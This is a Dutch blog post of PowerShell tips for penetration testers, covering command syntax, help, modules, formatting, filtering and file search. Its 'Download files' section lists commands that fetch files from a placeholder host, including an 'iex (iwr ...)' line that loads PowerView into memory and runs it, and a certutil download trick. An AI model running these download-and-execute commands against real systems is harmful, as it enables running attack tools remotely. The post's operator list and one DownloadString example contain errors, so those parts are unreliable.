Powershell tips & tricks

Vandaag zal ik een aantal handige powershell commando’s laten zien en wat deze precies doen, voor een penetratietester is Powershell steeds belangrijker en het is daarom handig om bepaalde dingen te weten. Ik hoop met deze handige tips en tricks jullie te helpen met Powershell.

Anatomy

Een commando in powershell bestaat uit een aantal onderdelen, ik zal deze onderdelen nu behandelen:

Get-EventLog -LogName security -Computername test -Verbose

Bovenstaande commando gaan wij nu ontleden:

  • Get-EventLog = Commando
  • Logname = Parameter 1
  • Computername = Parameter 2
  • Verbose = Parameter 3

Security en test zijn in bovenstaande commando de waardens die gekoppelt worden aan de parameters.

Help

Powershell biedt een handige help functionaliteit aan waarmee jij meer informatie over een bepaalde commando kan opvragen:

Help Get-EventLog

Bovenstaande commando vraagt meer informatie aan over de ‘Get-EventLog’ commando. Bij de help commando kan jij ook asterisks gebruiken om bijvoorbeeld op zoek te gaan naar bepaalde commando’s:

Help *about*

Bestanden vergelijken

Onderstaande commando heeft 2 invoer bestanden waarbij de commando gaat kijken wat het verschil is tussen deze twee bestanden, vervolgens toont de commando het resultaat aan de hand van een tabel met ‘name’ en ‘SideIndicator’. De name is de naam en de SideIndicator geeft aan welke bestand het heeft.

diff -reference (import-clixml test.xml) -difference (get-process) -property name

Dit is een handig trucje als jij wilt kijken wat het verschil is tussen twee bestanden.

Een module installeren

Powershell bestaat uit modules en hoewel Powershell met een aantal modules komt kan jij ook zelfstandig nieuwe modules installeren. Dit kan door naar (http://PowerShellGallery.com) te gaan. Vervolgens dienen de volgende commando’s te worden uitgevoerd:

Register-PSRepository 

Find-Module  #Dit kan als alternatief worden gebruikt in plaats van bovenstaande commando

Install-Module 

Update-Module

Find-module is een commando dat kijkt welke modules er beschikbaar zijn die mee worden geleverd, meestal met de nieuwere Powershell versies komt PowerShellGallery automatisch erbij en zijn er al een aantal modules beschikbaar. Indien de module er niet tussen staat die jij zoekt dan moet jezelf naar PowerShellGallery of een ander site en kijken of het daar tussen staat en dan de eerste commando uitvoeren.

gm

Met de ‘gm’ commando kan jij kijken welke objecten er zich bevinden in de resultaat, deze commando werkt achter elke commando die jij maar wilt. Hieronder een voorbeeld:

Get-Process | Sort VM -descending | gm

Probeer de commando eens uit te voeren zonder gm en met gm en zie het verschil 😉

Selecting

Met de ‘Select -Property’ commando kun jij beslissen welke boxen jij wilt zien maar je hebt uiteindelijk nog steeds boxen. Met ‘Select -ExpandProperty’ haal je de inhoud eruit van de box en verwijder je de box in zijn geheel. Je houd dan uiteindelijk alleen de inhoud over. Hieronder voorbeelden:

import-csv  | select -expand hostname | get-member

Import-csv doet wat de naam eigenlijk al zegt, het importeert een csv bestand, de ‘select -expand hostname’ gedeelte laat je alleen de inhoud van het bestand zien. Zonder het gebruik van boxen, probeer eens ‘select -expand hostname’ te veranderen naar ‘Select -Property hostname’ en zie wat er anders is.

Formatting tables

Powershell heeft vier formatting commando’s. De eerste is ‘Format-Table’, die een alias heeft genaamd ft. Format-Table heeft een aantal parameters genaamd:

  • Property = Deze parameter accepteert comma gescheiden lijst van eigenschappen die toegevoegd moeten worden aan de tabel.
  • GroupBy = Deze parameter genereert een nieuwe set van column koppen elke keer wanneer een specifieke eigenschap waarde verandert.
  • Wrap = In het geval de uitvoer niet helemaal op het scherm past, met hulp van deze parameter wordt het in een soort omhulsel gestopt en krijg jij toch alles te zien.
  • AutoSize = Door deze parameter toe te voegen dwing je de shell eigenlijk om de inhoud van elk column passend te krijgen voor het scherm. Dit zorgt ervoor dat de tabel wat strakker is.
Get-Process | Format-Table -wrap -autoSize

Met bovenstaande commando krijg jij alle processen in een tabel, niks word ingekort en alles wordt gepresenteerd in de shell.

Comparison

In Powershell kan je ook objecten of dingen vergelijken met elkaar, een aantal mogelijkheden zijn beschikbaar:

  • eq = equal
  • ne = Not Equal
  • ge = Greater than or equal to
  • gt = greater than and less than

Als bovenstaande niet werkt kan het volgende worden geprobeerd:

  • = : equality
  • <> : inequality
  • <= : less than or equal to
  • >= : greater than or equal to
  • > : greater than
  • < : less than

Om bijvoorbeeld te kunnen zien welke services er werkend zijn kan volgende commando worden uitgevoerd:

Get-Service | Where-Object -filter {$_.Status -eq 'Running'}

De ($_.) dient om te kiezen wat jij wilt pakken dus in bovenstaande commando pak jij de ‘Status’ en kijk je of die gelijk is aan (Running).

Download files

Met Powershell zijn er vele mogelijkheden voor het downloaden van bestanden van bijvoorbeeld een Linux machine, hieronder een aantal voorbeelden:

wget "http://IP/test.html"

(New-Object Net.WebClient).DownloadFile('http://IP/test.html','C:\temp\test.php')

iex (iwr 'http://IP/PowerView.ps1')

certutil -urlcache -split -f http://IP/test.html

(New-Object System.Net.WebClient).DownloadString('http://IP/test.html','C:\temp\test.html')

Ik heb wel eens meegemaakt dat bijvoorbeeld commando 1 niet werkt maar commando 4 weer wel of juist commando 2 die niet werkt en commando 4 wel, terwijl deze twee erg op elkaar lijken. Het is dus altijd een beetje trial en error als het gaat om bestanden downloaden. De 3de commando werkt trouwens alleen op powershell scripts doordat deze commando direct het bestand download en in het geheugen plaatst, hierdoor kan jij het direct uitvoeren. Bijvoorbeeld als jij SharpHound.ps1 op die manier download kan je daarna gelijk ‘Invoke-Bloodhound’ uitvoeren zonder ‘./SharpHound.ps1 Invoke-BloodHound’ te doen.

Search files

In Powershell kan je bestanden zoeken door de volgende commando uit te voeren:

Get-ChildItem -Path C:\ -Filter *.xml *.docx *.txt -Recurse

Bovenstaande commando zoekt dus vanaf de C:\ schrijf naar alle bestanden met de extensie xml of docx of txt.

Bedankt voor het lezen en tot volgende keer !

Please share and spread
NederlandsEnglish